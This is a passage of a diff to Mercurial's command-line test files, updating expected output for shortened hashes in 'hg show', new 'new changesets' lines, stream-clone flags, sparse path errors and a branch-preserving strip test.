+    o  9f17 commit 0
 
 Public parent of draft base is displayed, separated from stack
 
   $ hg phase --public -r 0
   $ hg show stack
-    @  2737b commit 4
-    o  d1a69 commit 3
-    o  128c8 commit 2
-    o  181cc commit 1
+    @  2737 commit 4
+    o  d1a6 commit 3
+    o  128c commit 2
+    o  181c commit 1
    /   (stack base)
-  o  9f171 commit 0
+  o  9f17 commit 0
 
   $ hg phase --public -r 1
   $ hg show stack
-    @  2737b commit 4
-    o  d1a69 commit 3
-    o  128c8 commit 2
+    @  2737 commit 4
+    o  d1a6 commit 3
+    o  128c commit 2
    /   (stack base)
-  o  181cc commit 1
+  o  181c commit 1
 
 Draft descendants are shown
 
   $ hg -q up 2
   $ hg show stack
-    o  2737b commit 4
-    o  d1a69 commit 3
-    @  128c8 commit 2
+    o  2737 commit 4
+    o  d1a6 commit 3
+    @  128c commit 2
    /   (stack base)
-  o  181cc commit 1
+  o  181c commit 1
 
   $ hg -q up 3
   $ hg show stack
-    o  2737b commit 4
-    @  d1a69 commit 3
-    o  128c8 commit 2
+    o  2737 commit 4
+    @  d1a6 commit 3
+    o  128c commit 2
    /   (stack base)
-  o  181cc commit 1
+  o  181c commit 1
 
 working dir on public changeset should display special message
 
@@ -89,10 +89,10 @@
   $ hg show stack
    \ /  (multiple children)
     |
-    o  d1a69 commit 3
-    @  128c8 commit 2
+    o  d1a6 commit 3
+    @  128c commit 2
    /   (stack base)
-  o  181cc commit 1
+  o  181c commit 1
 
   $ cd ..
 
@@ -117,9 +117,9 @@
 TODO doesn't yet handle case where wdir is a draft merge
 
   $ hg show stack
-    @  8ee90 merge heads
+    @  8ee9 merge heads
    /   (stack base)
-  o  59478 head 1
+  o  5947 head 1
 
   $ echo d1 > foo
   $ hg commit -m 'draft 1'
@@ -127,10 +127,10 @@
   $ hg commit -m 'draft 2'
 
   $ hg show stack
-    @  430d5 draft 2
-    o  787b1 draft 1
+    @  430d draft 2
+    o  787b draft 1
    /   (stack base)
-  o  8ee90 merge heads
+  o  8ee9 merge heads
 
   $ cd ..
 
@@ -156,36 +156,36 @@
 Newer draft heads don't impact output
 
   $ hg show stack
-    @  eaffc draft 2
-    o  2b218 draft 1
+    @  eaff draft 2
+    o  2b21 draft 1
    /   (stack base)
-  o  b66bb base
+  o  b66b base
 
 Newer public heads are rendered
 
   $ hg phase --public -r '::tip'
 
   $ hg show stack
-    o  baa4b new 2
+    o  baa4 new 2
    /    (2 commits ahead)
   :
   :    (stack head)
-  : @  eaffc draft 2
-  : o  2b218 draft 1
+  : @  eaff draft 2
+  : o  2b21 draft 1
   :/   (stack base)
-  o  b66bb base
+  o  b66b base
 
 If rebase is available, we show a hint how to rebase to that head
 
   $ hg --config extensions.rebase= show stack
-    o  baa4b new 2
-   /    (2 commits ahead; hg rebase --source 2b218 --dest baa4b)
+    o  baa4 new 2
+   /    (2 commits ahead; hg rebase --source 2b21 --dest baa4)
   :
   :    (stack head)
-  : @  eaffc draft 2
-  : o  2b218 draft 1
+  : @  eaff draft 2
+  : o  2b21 draft 1
   :/   (stack base)
-  o  b66bb base
+  o  b66b base
 
 Similar tests but for multiple heads
 
@@ -196,25 +196,25 @@
   $ hg -q up 2
 
   $ hg show stack
-    o  baa4b new 2
+    o  baa4 new 2
    /    (2 commits ahead)
-  : o  9a848 new head 2
+  : o  9a84 new head 2
   :/    (1 commits ahead)
   :
   :    (stack head)
-  : @  eaffc draft 2
-  : o  2b218 draft 1
+  : @  eaff draft 2
+  : o  2b21 draft 1
   :/   (stack base)
-  o  b66bb base
+  o  b66b base
 
   $ hg --config extensions.rebase= show stack
-    o  baa4b new 2
-   /    (2 commits ahead; hg rebase --source 2b218 --dest baa4b)
-  : o  9a848 new head 2
-  :/    (1 commits ahead; hg rebase --source 2b218 --dest 9a848)
+    o  baa4 new 2
+   /    (2 commits ahead; hg rebase --source 2b21 --dest baa4)
+  : o  9a84 new head 2
+  :/    (1 commits ahead; hg rebase --source 2b21 --dest 9a84)
   :
   :    (stack head)
-  : @  eaffc draft 2
-  : o  2b218 draft 1
+  : @  eaff draft 2
+  : o  2b21 draft 1
   :/   (stack base)
-  o  b66bb base
+  o  b66b base
diff --git a/tests/test-show-work.t b/tests/test-show-work.t
--- a/tests/test-show-work.t
+++ b/tests/test-show-work.t
@@ -16,20 +16,20 @@
   $ hg -q commit -A -m 'commit 0'
 
   $ hg show work
-  @  9f171 commit 0
+  @  9f17 commit 0
 
 Even when it isn't the wdir
 
   $ hg -q up null
 
   $ hg show work
-  o  9f171 commit 0
+  o  9f17 commit 0
 
 Single changeset is still there when public because it is a head
 
   $ hg phase --public -r 0
   $ hg show work
-  o  9f171 commit 0
+  o  9f17 commit 0
 
 A draft child will show both it and public parent
 
@@ -38,8 +38,8 @@
   $ hg commit -m 'commit 1'
 
   $ hg show work
-  @  181cc commit 1
-  o  9f171 commit 0
+  @  181c commit 1
+  o  9f17 commit 0
 
 Multiple draft children will be shown
 
@@ -47,16 +47,16 @@
   $ hg commit -m 'commit 2'
 
   $ hg show work
-  @  128c8 commit 2
-  o  181cc commit 1
-  o  9f171 commit 0
+  @  128c commit 2
+  o  181c commit 1
+  o  9f17 commit 0
 
 Bumping first draft changeset to public will hide its parent
 
   $ hg phase --public -r 1
   $ hg show work
-  @  128c8 commit 2
-  o  181cc commit 1
+  @  128c commit 2
+  o  181c commit 1
   |
   ~
 
@@ -68,10 +68,10 @@
   created new head
 
   $ hg show work
-  @  f0abc commit 3
-  | o  128c8 commit 2
+  @  f0ab commit 3
+  | o  128c commit 2
   |/
-  o  181cc commit 1
+  o  181c commit 1
   |
   ~
 
@@ -80,10 +80,10 @@
   $ hg -q up null
 
   $ hg show work
-  o  f0abc commit 3
-  | o  128c8 commit 2
+  o  f0ab commit 3
+  | o  128c commit 2
   |/
-  o  181cc commit 1
+  o  181c commit 1
   |
   ~
 
@@ -95,13 +95,13 @@
   created new head
 
   $ hg show work
-  @  668ca commit 4
-  | o  f0abc commit 3
-  | | o  128c8 commit 2
+  @  668c commit 4
+  | o  f0ab commit 3
+  | | o  128c commit 2
   | |/
-  | o  181cc commit 1
+  | o  181c commit 1
   |/
-  o  9f171 commit 0
+  o  9f17 commit 0
 
   $ cd ..
 
@@ -126,11 +126,11 @@
   $ hg commit -m 'commit 4'
 
   $ hg show work
-  @  f8dd3 (mybranch) commit 4
-  o  90cfc (mybranch) commit 3
-  | o  128c8 commit 2
+  @  f8dd (mybranch) commit 4
+  o  90cf (mybranch) commit 3
+  | o  128c commit 2
   |/
-  o  181cc commit 1
+  o  181c commit 1
   |
   ~
 
@@ -157,11 +157,11 @@
   $ hg bookmark mybook
 
   $ hg show work
-  @  cac82 (mybook) commit 4
-  o  f0abc commit 3
-  | o  128c8 (@) commit 2
+  @  cac8 (mybook) commit 4
+  o  f0ab commit 3
+  | o  128c (@) commit 2
   |/
-  o  181cc commit 1
+  o  181c commit 1
   |
   ~
 
@@ -182,9 +182,9 @@
   $ hg tag 0.2
 
   $ hg show work
-  @  37582 Added tag 0.2 for changeset 6379c25b76f1
-  o  6379c (0.2) commit 3
-  o  a2ad9 Added tag 0.1 for changeset 6a75536ea0b1
+  @  3758 Added tag 0.2 for changeset 6379c25b76f1
+  o  6379 (0.2) commit 3
+  o  a2ad Added tag 0.1 for changeset 6a75536ea0b1
   |
   ~
 
@@ -205,15 +205,15 @@
   $ hg commit -m 'commit 2'
 
   $ hg show work
-  @  34834 (mybook) (mybranch) commit 2
-  o  97fcc commit 1
+  @  3483 (mybook) (mybranch) commit 2
+  o  97fc commit 1
 
 Multiple bookmarks on same changeset render properly
 
   $ hg book mybook2
   $ hg show work
-  @  34834 (mybook mybook2) (mybranch) commit 2
-  o  97fcc commit 1
+  @  3483 (mybook mybook2) (mybranch) commit 2
+  o  97fc commit 1
 
   $ cd ..
 
@@ -230,8 +230,52 @@
   $ hg commit -m 'commit 3'
 
   $ hg --config extensions.revnames=$TESTDIR/revnamesext.py show work
-  @  32f3e (r2) commit 3
-  o  6a755 (r1) commit 2
-  o  97fcc (r0) commit 1
+  @  32f3 (r2) commit 3
+  o  6a75 (r1) commit 2
+  o  97fc (r0) commit 1
+
+Obsolescence information appears in labels.
+
+  $ cat >> .hg/hgrc << EOF
+  > [experimental]
+  > evolution=createmarkers
+  > EOF
+  $ hg debugobsolete `hg log -r 'desc("commit 2")' -T "{node}"`
+  obsoleted 1 changesets
+  $ hg show work --color=debug
+  @  [log.changeset changeset.draft changeset.unstable instability.orphan|32f3] [log.description|commit 3]
+  x  [log.changeset changeset.draft changeset.obsolete|6a75] [log.description|commit 2]
+  |
+  ~
 
   $ cd ..
+
+Prefix collision on hashes increases shortest node length
+
+  $ hg init hashcollision
+  $ cd hashcollision
+  $ echo 0 > a
+  $ hg -q commit -Am 0
+  $ for i in 17 1057 2857 4025; do
+  >   hg -q up 0
+  >   echo $i > a
+  >   hg -q commit -m $i
+  >   echo 0 > a
+  >   hg commit -m "$i commit 2"
+  > done
+
+  $ hg show work
+  @  cfd04 4025 commit 2
+  o  c562d 4025
+  | o  08048 2857 commit 2
+  | o  c5623 2857
+  |/
+  | o  6a6b6 1057 commit 2
+  | o  c5625 1057
+  |/
+  | o  96b4e 17 commit 2
+  | o  11424 17
+  |/
+  o  b4e73 0
+
+  $ cd ..
diff --git a/tests/test-show.t b/tests/test-show.t
--- a/tests/test-show.t
+++ b/tests/test-show.t
@@ -95,8 +95,8 @@
   $ hg bookmark a-longer-bookmark
 
   $ hg show bookmarks
-  * a-longer-bookmark    7b570
-    book1                b757f
+  * a-longer-bookmark    7b57
+    book1                b757
 
 A custom bookmarks template works
 
@@ -112,13 +112,15 @@
     "active": true,
     "bookmark": "a-longer-bookmark",
     "longestbookmarklen": 17,
-    "node": "7b5709ab64cbc34da9b4367b64afff47f2c4ee83"
+    "node": "7b5709ab64cbc34da9b4367b64afff47f2c4ee83",
+    "nodelen": 4
    },
    {
     "active": false,
     "bookmark": "book1",
     "longestbookmarklen": 17,
-    "node": "b757f780b8ffd71267c6ccb32e0882d9d32a8cc0"
+    "node": "b757f780b8ffd71267c6ccb32e0882d9d32a8cc0",
+    "nodelen": 4
    }
   ]
 
@@ -136,19 +138,19 @@
   (no bookmarks set)
 
   $ hg --config commands.show.aliasprefix=sh shwork
-  @  7b570 commit for book2
-  o  b757f commit for book1
-  o  ba592 initial
+  @  7b57 commit for book2
+  o  b757 commit for book1
+  o  ba59 initial
 
   $ hg --config commands.show.aliasprefix='s sh' swork
-  @  7b570 commit for book2
-  o  b757f commit for book1
-  o  ba592 initial
+  @  7b57 commit for book2
+  o  b757 commit for book1
+  o  ba59 initial
 
   $ hg --config commands.show.aliasprefix='s sh' shwork
-  @  7b570 commit for book2
-  o  b757f commit for book1
-  o  ba592 initial
+  @  7b57 commit for book2
+  o  b757 commit for book1
+  o  ba59 initial
 
 The aliases don't appear in `hg config`
 
diff --git a/tests/test-simple-update.t b/tests/test-simple-update.t
--- a/tests/test-simple-update.t
+++ b/tests/test-simple-update.t
@@ -30,6 +30,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 30aff43faee1
   (run 'hg update' to get a working copy)
 
   $ hg verify
diff --git a/tests/test-sparse.t b/tests/test-sparse.t
--- a/tests/test-sparse.t
+++ b/tests/test-sparse.t
@@ -29,23 +29,50 @@
 
 #if no-windows
   $ hg debugsparse --include /foo/bar
-  warning: paths cannot start with /, ignoring: ['/foo/bar']
+  abort: paths cannot be absolute
+  [255]
   $ hg debugsparse --include '$TESTTMP/myrepo/hide'
 
   $ hg debugsparse --include '/root'
-  warning: paths cannot start with /, ignoring: ['/root']
+  abort: paths cannot be absolute
+  [255]
 #else
 TODO: See if this can be made to fail the same way as on Unix
   $ hg debugsparse --include /c/foo/bar
-  abort: c:/foo/bar not under root '$TESTTMP/myrepo' (glob)
+  abort: paths cannot be absolute
   [255]
   $ hg debugsparse --include '$TESTTMP/myrepo/hide'
 
   $ hg debugsparse --include '/c/root'
-  abort: c:/root not under root '$TESTTMP/myrepo' (glob)
+  abort: paths cannot be absolute
   [255]
 #endif
 
+Paths should be treated as cwd-relative, not repo-root-relative
+  $ mkdir subdir && cd subdir
+  $ hg debugsparse --include path
+  $ hg debugsparse
+  [include]
+  $TESTTMP/myrepo/hide
+  hide
+  subdir/path
+  
+  $ cd ..
+  $ echo hello > subdir/file2.ext
+  $ cd subdir
+  $ hg debugsparse --include '**.ext'  # let us test globs
+  $ hg debugsparse --include 'path:abspath'  # and a path: pattern
+  $ cd ..
+  $ hg debugsparse
+  [include]
+  $TESTTMP/myrepo/hide
+  hide
+  path:abspath
+  subdir/**.ext
+  subdir/path
+  
+  $ rm -rf subdir
+
 Verify commiting while sparse includes other files
 
   $ echo z > hide
diff --git a/tests/test-ssh-bundle1.t b/tests/test-ssh-bundle1.t
--- a/tests/test-ssh-bundle1.t
+++ b/tests/test-ssh-bundle1.t
@@ -58,7 +58,7 @@
 
 clone remote via stream
 
-  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed ssh://user@dummy/remote local-stream
+  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/remote local-stream
   streaming all changes
   4 files to transfer, 602 bytes of data
   transferred 602 bytes in * seconds (*) (glob)
@@ -80,7 +80,7 @@
 clone bookmarks via stream
 
   $ hg -R local-stream book mybook
-  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed ssh://user@dummy/local-stream stream2
+  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/local-stream stream2
   streaming all changes
   4 files to transfer, 602 bytes of data
   transferred 602 bytes in * seconds (*) (glob)
@@ -102,6 +102,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets 1160648e36ce:ad076bfb429d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -313,6 +314,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files (+1 heads)
+  new changesets 1160648e36ce:1383141674ec
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R local-bookmarks bookmarks
@@ -400,6 +402,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files (+1 heads)
+  new changesets 1160648e36ce:1383141674ec
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -464,8 +467,8 @@
   running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
-  remote: 355
-  remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN
+  remote: 372
+  remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN
   remote: 1
   preparing listkeys for "bookmarks"
   sending listkeys command
diff --git a/tests/test-ssh-clone-r.t b/tests/test-ssh-clone-r.t
--- a/tests/test-ssh-clone-r.t
+++ b/tests/test-ssh-clone-r.t
@@ -9,6 +9,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -17,7 +18,7 @@
 clone remote via stream
 
   $ for i in 0 1 2 3 4 5 6 7 8; do
-  >    hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed -r "$i" ssh://user@dummy/remote test-"$i"
+  >    hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream -r "$i" ssh://user@dummy/remote test-"$i"
   >    if cd test-"$i"; then
   >       hg verify
   >       cd ..
@@ -27,6 +28,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets bfaf4b5cbf01
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -38,6 +40,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:21f32785131f
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -49,6 +52,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:4ce51a113780
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -60,6 +64,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets bfaf4b5cbf01:93ee6ab32777
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -71,6 +76,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:c70afb1ee985
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -82,6 +88,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:f03ae5a9b979
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -93,6 +100,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:095cb14b1b4d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -104,6 +112,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 3 files
+  new changesets bfaf4b5cbf01:faa2e4234c7a
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -115,6 +124,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:916f1afdef90
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -130,6 +140,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -146,6 +157,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets c70afb1ee985
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -160,6 +172,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files
+  new changesets 4ce51a113780:916f1afdef90
   (run 'hg update' to get a working copy)
   $ cd ..
   $ cd test-2
@@ -170,6 +183,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files (+1 heads)
+  new changesets c70afb1ee985:f03ae5a9b979
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -184,6 +198,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 4 files
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg update' to get a working copy)
   $ hg verify
   checking changesets
diff --git a/tests/test-ssh.t b/tests/test-ssh.t
--- a/tests/test-ssh.t
+++ b/tests/test-ssh.t
@@ -52,7 +52,7 @@
 
 clone remote via stream
 
-  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed ssh://user@dummy/remote local-stream
+  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/remote local-stream
   streaming all changes
   4 files to transfer, 602 bytes of data
   transferred 602 bytes in * seconds (*) (glob)
@@ -74,7 +74,7 @@
 clone bookmarks via stream
 
   $ hg -R local-stream book mybook
-  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed ssh://user@dummy/local-stream stream2
+  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/local-stream stream2
   streaming all changes
   4 files to transfer, 602 bytes of data
   transferred 602 bytes in * seconds (*) (glob)
@@ -96,6 +96,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets 1160648e36ce:ad076bfb429d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -317,6 +318,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files (+1 heads)
+  new changesets 1160648e36ce:1383141674ec
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R local-bookmarks bookmarks
@@ -417,6 +419,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files (+1 heads)
+  new changesets 1160648e36ce:1383141674ec
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -480,8 +483,8 @@
   running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
-  remote: 355
-  remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN
+  remote: 372
+  remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN
   remote: 1
   query 1; heads
   sending batch command
@@ -491,9 +494,9 @@
   sending getbundle command
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "listkeys" (params: 1 mandatory) supported
-  bundle2-input-part: total payload size 15
-  bundle2-input-part: "listkeys" (params: 1 mandatory) supported
   bundle2-input-part: total payload size 45
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 72
   bundle2-input-bundle: 1 parts total
   checking for updated bookmarks
 
diff --git a/tests/test-static-http.t b/tests/test-static-http.t
--- a/tests/test-static-http.t
+++ b/tests/test-static-http.t
@@ -33,6 +33,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 02770d679fb8
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd local
@@ -64,6 +65,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 4ac2e3648604
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=4ac2e3648604439c580c69b09ec9d93a88d93432 HG_NODE_LAST=4ac2e3648604439c580c69b09ec9d93a88d93432 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=http://localhost:$HGPORT/remote
   (run 'hg update' to get a working copy)
 
@@ -89,6 +91,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 02770d679fb8
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -110,6 +113,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets a9ebfbe8e587
   updating to branch default
   cloning subrepo sub from static-http://localhost:$HGPORT/sub
   requesting all changes
@@ -117,6 +121,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets be090ea66256:322ea90975df
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd local2
   $ hg verify
@@ -182,6 +187,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files (+1 heads)
+  new changesets 68986213bd44:0c325bd2b5a7
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -192,6 +198,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 2 files
+  new changesets 68986213bd44:0c325bd2b5a7
   updating to branch mybranch
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -202,6 +209,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 68986213bd44:4ee3fcef1c80
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-terse-status.t b/tests/test-status-terse.t
rename from tests/test-terse-status.t
rename to tests/test-status-terse.t
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -211,10 +211,10 @@
   summary:     b
   
   $ hg debugbundle .hg/strip-backup/*
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       264128213d290d868c54642d13aeaa3675551a78
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       264128213d290d868c54642d13aeaa3675551a78 draft
   $ hg pull .hg/strip-backup/*
   pulling from .hg/strip-backup/264128213d29-0b39d6bf-backup.hg
@@ -223,6 +223,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 264128213d29
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ rm .hg/strip-backup/*
   $ hg log --graph
@@ -941,6 +942,215 @@
   abort: boom
   [255]
 
+test stripping a working directory parent doesn't switch named branches
+
+  $ hg log -G
+  @  changeset:   1:eca11cf91c71
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg branch new-branch
+  marked working directory as branch new-branch
+  (branches are permanent and global, did you want a bookmark?)
+  $ hg ci -m "start new branch"
+  $ echo 'foo' > foo.txt
+  $ hg ci -Aqm foo
+  $ hg up default
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ echo 'bar' > bar.txt
+  $ hg ci -Aqm bar
+  $ hg up new-branch
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg merge default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg log -G
+  @  changeset:   4:35358f982181
+  |  tag:         tip
+  |  parent:      1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     bar
+  |
+  | @  changeset:   3:f62c6c09b707
+  | |  branch:      new-branch
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     foo
+  | |
+  | o  changeset:   2:b1d33a8cadd9
+  |/   branch:      new-branch
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg strip --force -r 35358f982181
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  saved backup bundle to $TESTTMP/issue4736/.hg/strip-backup/35358f982181-50d992d4-backup.hg (glob)
+  $ hg log -G
+  @  changeset:   3:f62c6c09b707
+  |  branch:      new-branch
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     foo
+  |
+  o  changeset:   2:b1d33a8cadd9
+  |  branch:      new-branch
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     start new branch
+  |
+  o  changeset:   1:eca11cf91c71
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     commitB
+  |
+  o  changeset:   0:105141ef12d0
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     commitA
+  
+
+  $ hg up default
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ echo 'bar' > bar.txt
+  $ hg ci -Aqm bar
+  $ hg up new-branch
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg merge default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg ci -m merge
+  $ hg log -G
+  @    changeset:   5:4cf5e92caec2
+  |\   branch:      new-branch
+  | |  tag:         tip
+  | |  parent:      3:f62c6c09b707
+  | |  parent:      4:35358f982181
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     merge
+  | |
+  | o  changeset:   4:35358f982181
